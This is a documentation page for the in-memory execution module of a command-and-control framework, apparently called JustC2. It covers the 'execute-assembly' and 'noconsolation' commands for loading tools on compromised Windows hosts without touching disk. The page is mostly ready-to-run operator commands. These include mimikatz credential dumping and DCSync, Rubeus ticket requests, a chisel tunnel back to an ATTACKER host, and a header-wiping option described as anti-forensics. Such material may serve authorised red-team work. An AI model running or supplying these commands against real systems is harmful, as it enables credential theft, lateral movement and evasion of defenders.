The Execution-BOF module provides two mechanisms for executing arbitrary code in the agent’s process memory, without writing any files to disk on the target machine.

Available on agents: Beacon, Gopher (Windows only).


execute-assembly

Execute a .NET assembly entirely in memory using CLR hosting. The binary is uploaded from the operator’s machine and loaded directly into the agent’s process — no file touches the target’s disk.

execute-assembly --assembly <local_path> [--args "<arguments>"]
ArgumentRequiredDescription
--assemblyYesPath to the .NET EXE/DLL on the operator’s machine
--argsNoArguments passed to the assembly

Examples

Run SharpHound to enumerate Active Directory:

execute-assembly --assembly /opt/tools/SharpHound.exe --args "-c All -d domain.local"

Run Rubeus to request a TGT:

execute-assembly --assembly /opt/tools/Rubeus.exe --args "asktgt /user:admin /password:P@ss /ptt"

Run Seatbelt for security auditing:

execute-assembly --assembly /opt/tools/Seatbelt.exe --args "-group=all"

Run SharpUp to find privilege escalation paths:

execute-assembly --assembly /opt/tools/SharpUp.exe --args "audit"

When to use

execute-assembly is the primary method for running offensive tools written in .NET. It is ideal for:

  • AD reconnaissance tools: SharpHound, ADSearch, SharpView
  • Kerberos attacks: Rubeus (though JustC2 has Kerbeus-BOF built in)
  • Security auditing: Seatbelt, SharpUp, Certify
  • Credential extraction: SharpDPAPI, SharpChrome
  • Lateral movement: SharpWMI, SharpRDP

Supports .NET Framework assemblies. The assembly runs in a separate AppDomain within the agent’s process.


noconsolation

Execute native (unmanaged) EXE or DLL binaries entirely in memory via the No-Consolation BOF. More versatile than execute-assembly since it supports both .NET and native Windows binaries.

noconsolation -f <local_path> [-a "<arguments>"] [options]

Loading Options

ArgumentDescription
-f <path>Upload an EXE/DLL from the operator’s machine
--local <path>Load a binary from the target machine’s disk
--memory <name>Load a previously cached PE from memory

Execution Options

ArgumentDescription
-a "<args>"Arguments for the PE
--method <export>Exported function name to execute (DLLs only; default: DllMain)
--timeout <seconds>Maximum wait time (default: 60s, 0=unlimited)
--inthreadRun in the main thread (may hang the agent)
-wPass arguments in UNICODE format (default: ANSI)
-noDon’t capture output
-acAllocate a new console (spawns a new process)
-chClose pipe handles when finished

Anti-Forensics Options

ArgumentDescription
-kOverwrite PE headers (removes traces of the loaded binary)
--link-to-pebMake the PE visible in the PEB (Process Environment Block)

In-Memory PE Management

ArgumentDescription
--dont-saveDon’t cache the PE in memory
--dont-unloadDon’t unload the DLL after execution
--list-pesList all PEs currently loaded in memory
--unload-pe <name>Unload a specific PE from memory
--free-libraries "DLL_A,DLL_B"Free specific DLLs (previously loaded with --dont-unload)

Dependency Management

ArgumentDescription
-ladCustom-load all PE dependencies
-ladb "DLL_A,DLL_B"Custom-load all dependencies except the listed ones
-ld "DLL_A,DLL_B"Custom-load only the specified dependencies
-sp "PATH_A,PATH_B"DLL search paths (default: system32)

Examples

Run mimikatz in memory:

noconsolation -f /tmp/mimikatz.exe -a "privilege::debug token::elevate exit"

Run mimikatz with anti-forensics (overwrite headers):

noconsolation -f /tmp/mimikatz.exe -a "sekurlsa::logonpasswords exit" -k

Run a long-running tool (chisel, ligolo, etc.):

noconsolation -f /tmp/chisel.exe -a "client ATTACKER:8080 R:socks" --timeout 0 --inthread

Cache a PE in memory and reuse it:

# First execution — the PE is cached automatically
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug exit"

# Subsequent executions — load from memory (no re-upload)
noconsolation --memory mimikatz.exe -a "sekurlsa::logonpasswords exit"
noconsolation --memory mimikatz.exe -a "lsadump::dcsync /user:Administrator exit"

List cached PEs in memory:

noconsolation --list-pes

Unload a PE from memory:

noconsolation --unload-pe mimikatz.exe

Execute a DLL with a specific exported function:

noconsolation -f /tmp/custom.dll --method MyExportedFunc -a "arg1 arg2"

Load from disk on the target machine:

noconsolation --local "C:\Windows\Temp\tool.exe" -a "arg1"

When to use

noconsolation is superior to execute-assembly for native binaries:

  • Native Windows tools: mimikatz.exe, procdump.exe, netcat, chisel
  • Custom DLLs: Execute specific exported functions from a DLL
  • Long-running tools: SOCKS proxies, tunnels, servers (with --timeout 0 --inthread)
  • Repeated executions: Cache the PE in memory and reuse it without re-uploading
  • Stealthy operations: Use -k to wipe PE headers from memory

Restriction: Only supports 64-bit (x64) agents. Does not work in WoW64 (32-bit) processes.

PE Cache Workflow

The No-Consolation PE caching system allows loading a binary once and executing it multiple times:

  1. Load and execute: noconsolation -f /path/tool.exe -a "first_command" — the PE is cached in memory automatically.
  2. Reuse: noconsolation --memory tool.exe -a "second_command" — no network transfer.
  3. Check cache: noconsolation --list-pes — see which PEs are in memory.
  4. Cleanup: noconsolation --unload-pe tool.exe — free memory when no longer needed.

This is especially useful with tools like mimikatz that are used repeatedly during an operation — upload once, run multiple modules without additional network traffic.